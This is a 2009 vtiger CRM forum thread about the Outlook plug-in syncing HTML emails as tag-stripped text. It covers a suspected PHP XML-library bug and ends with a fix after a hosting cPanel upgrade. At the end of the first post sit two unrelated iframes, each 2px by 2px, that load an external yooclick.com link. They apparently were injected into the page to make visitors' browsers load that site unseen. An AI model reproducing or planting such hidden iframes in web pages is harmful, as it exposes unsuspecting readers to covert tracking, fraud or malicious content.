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(SOLVED) Outlook plug-in doesn't sync HTML messages properly

aniruddhaaniruddha
edited May 2009 in Outlook Plugin Vote Up0Vote Down
I've setup vtiger successfully with a working outlook plug-in in a local testing environment. However now that I've installed vtiger with my hosting provider I run into problems. More specifically synced messages look like the sample below. I've tried setting up a UTF-8 and latin1 database both with the same results. Any ideas what can be wrong?
HTML HEAD TITLE/TITLE STYLE TYPE=text/css !-- .Product { font-size:14pt; font-weight:700; font-family:arial, sans-serif; } .feature { font-size:10pt; font-weight:700; font-family:arial, sans-serif; color:#7C5828; } .description { font-size:10pt; font-weight:400; font-family:arial, sans-serif; } -- /STYLE /HEAD BODY LINK=#7C5828 ALINK=#7C5828 VLINK=#7C5828 TABLE WIDTH=100% CELLPADDING=5 CELLSPACING=0 SUMMARY= TR VALIGN=top TD ALIGN=center BGCOLOR=#FAEBA4 IMG SRC=1.jpg ALT= /TD TDSPAN Class=featureID ID=greetingThank you for using Microsoftreg; Office Outlookreg; 2003! /ID/SPAN SPAN Class=descriptionID ID=Intro 

...

/r/rlidOutlookWMailLinkToTrainingonline training/A for Outlook available on the Microsoft Office Online Web site, and more./IDbrbr/SPAN /TD /TR TR VALIGN=top TD BGCOLOR=#FAEBA4 /TD TD SPAN Class=descriptionID ID=closeIWe hope that you will find this to be the best version of Outlook yet! To keep up with the latest information about Outlook, sign up for a free subscription to the A HREF=http://r.office.microsoft.com/r/rlidNewsletterSignUpInside Office Newsletter/A. The newsletter will be sent to you by e-mail on a regular basis. Although it is impossible for us to answer all of your questions personally, please feel free to follow a href=http://r.office.microsoft.com/r/hlidContactUsFromClient/5this link/a or reply to this message if you want to let us know what you think about Outlook 2003. We’re always looking for feedback from the people who use Outlook every day!/IDbrbrID ID=ThanksThank you for using Outlook!/IDbrbr ID ID=signature- The Outlook Team/I/ID/SPAN /TD /TR /TABLE /BODY /HTML
<iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 4 Comments sorted by Votes Date Added
  • aniruddhaaniruddha
    Vote Up0Vote Down
    a possible cause might be that the server's default locale is: en_us.utf-8
  • prasad.aprasad.a
    Vote Up0Vote Down
    i suspect the issues with xml library in use for php.

    we noticed recently that when <, >, is sent from outlook in url-encoded format in the soap, the xml library on the server end is stripping off these characters!

    refer:

    <!-- m --><a class="postlink" href="http://bugs.php.net/bug.php?id=45996">http://bugs.php.net/bug.php?id=45996</a><!-- m -->

    <!-- m --><a class="postlink" href="https://glowhost.com/forums/general-support/php5-libxml2-xml-parse-bug-1574.html">https://glowhost.com/forums/general-sup ... -1574.html</a><!-- m -->

    let us know if that is not the case.
  • aniruddhaaniruddha
    Vote Up0Vote Down
    hi prasad, thanks for the help! my hosting provider upgraded to the latest version of cpanel (which came out last week) and now the problem is solved <!-- s:) --><img src="{smilies_path}/icon_smile.gif" alt=":)" title="smile" /><!-- s:) -->
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